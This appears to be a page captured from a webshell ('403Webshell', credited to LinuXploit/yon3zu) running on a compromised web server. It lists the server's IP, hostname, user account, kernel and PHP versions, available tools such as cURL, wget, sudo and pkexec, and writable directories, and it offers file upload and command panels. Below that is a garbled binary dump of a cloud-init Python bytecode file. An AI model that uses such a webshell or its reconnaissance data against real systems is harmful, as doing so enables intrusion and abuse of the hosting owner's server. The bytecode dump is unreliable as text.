403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/distros/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/distros/__pycache__/opensuse.cpython-36.opt-1.pyc
3

��b!�@sRddlmZmZmZmZddlmZddlm	Z	ddl
mZGdd�dej�ZdS)�)�distros�helpers�subp�util)�	rhel_util)�HostnameConf)�PER_INSTANCEc@s�eZdZdZdZdgZdZdZdZdZ	dZ
d	Zd
Zddd
ddddd�d�iZ
dd�Zd,dd�Zdd�Zd-dd�Zdd�Zdd�Zd.d d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zed*d+��ZdS)/�Distroz/etc/sysconfig/clockz
/etc/HOSTNAMEZservicez/etc/sysconfig/languagez/etc/sysconfig/network/configz/etc/sysconfig/network/ifcfg-%sz!/etc/sysconfig/network/ifroute-%sz
/etc/hostnamez/etc/locale.confz/etc/localtime�	sysconfigzetc/sysconfig/network/config�susez%(base)s/network/ifcfg-%(name)sz3etc/udev/rules.d/85-persistent-net-cloud-init.rulesz!%(base)s/network/ifroute-%(name)s)Zipv4Zipv6)ZcontrolZflavorZiface_templatesZ
netrules_pathZroute_templatescCsHtjj||||�tj|�|_d|_d|d<|j�rDdg|_d|d<dS)NrZsshdZssh_svcnameZ	systemctlzsshd.service)	rr	�__init__rZRunners�_runnerZosfamily�uses_systemd�init_cmd)�self�nameZcfg�paths�r�/usr/lib/python3.6/opensuse.pyr+szDistro.__init__NcCs>|j�r|s|j}d|i}n|s&|j}d|i}tj||�dS)NZLANGZRC_LANG)r�systemd_locale_conf_fn�locale_conf_fn�rhutil�update_sysconfig_file)rZlocaleZout_fnZ
locale_cfgrrr�apply_locale4s
zDistro.apply_localecCs|jdd|d�dS)NZinstallz--auto-agree-with-licenses)�args�pkgs)�package_command)r�pkglistrrr�install_packages?szDistro.install_packagescCs�|dkrg}ddg}|dkr d}|j|�|rDt|t�rD|j|�n|r\t|t�r\|j|�tjd|�}|j|�tj|dd�dS)NZzypperz--non-interactiveZupgrade�updatez%s-%sF)Zcapture)�append�
isinstance�str�list�extendrZexpand_package_listr)rZcommandrr�cmdrrrrrDs


zDistro.package_commandcCsZ|j|�}|j�r.tj|j�tj||j�n(dt|�i}tj|j	|�tj
||j�dS)NZTIMEZONE)Z
_find_tz_filerrZdel_file�tz_local_fnZsym_linkr"rr�
clock_conf_fn�copy)rZtzZtz_fileZ	clock_cfgrrr�set_timezone\s
zDistro.set_timezonecCs|jjd|jdgtd�dS)Nzupdate-sourcesZrefresh)Zfreq)r
Zrunrr)rrrr�update_package_sourcesls
zDistro.update_package_sourcescCs�|j�r |jd�r tj|�j�S|j�rJtjdg�\}}t|�rD|S|Sn6y|j|�}|j}Wnt	k
rrYnX|s||S|SdS)Nz/previous-hostname�hostname)
r�endswithr�	load_file�stripr�len�_read_hostname_confr+�IOError)r�filename�default�outZ_err�confr+rrr�_read_hostnamets

zDistro._read_hostnamecCsdS)Nz	127.0.1.1r)rrrr�_get_localhost_ip�szDistro._get_localhost_ipcCsttj|��}|j�|S)N)rrr-�parse)rr2r5rrrr0�szDistro._read_hostname_confcCs$|j�r|j}n|j}||j|�fS)N)r�systemd_hostname_conf_fn�hostname_conf_fnr6)rZhost_fnrrr�_read_system_hostname�szDistro._read_system_hostnamecCs�|j�r |jd�r tj||�nn|j�r>tjddt|�g�nPd}y|j|�}Wntk
rdYnX|srtd�}|j	|�tj|t|�d�dS)Nz/previous-hostnameZhostnamectlzset-hostname�i�)
rr,rZ
write_filerr"r0r1rZset_hostname)rr+r2r5rrr�_write_hostname�s
zDistro._write_hostnamecCsx|jsrtj�d}|d}t|djd�d�}|dkr@d|ksX|dkrfd|krf|dkrfdd	d
g|_nd
d	dg|_|jS)z5The preferred ntp client is dependent on the version.Zdistr��.�ZopenSUSE�*Zchronyzsystemd-timesyncdZntp)Z_preferred_ntp_clientsrZsystem_info�int�split)rZdistro_inforZ	major_verrrr�preferred_ntp_clients�s
zDistro.preferred_ntp_clients)N)NN)N)�__name__�
__module__�__qualname__r'r:rrZnetwork_conf_fnZnetwork_script_tplZroute_conf_tplr9rr&Zrenderer_configsrrrrr)r*r6r7r0r;r=�propertyrDrrrrr	s:	


r	N)
Z	cloudinitrrrrZcloudinit.distrosrrZ"cloudinit.distros.parsers.hostnamerZcloudinit.settingsrr	rrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit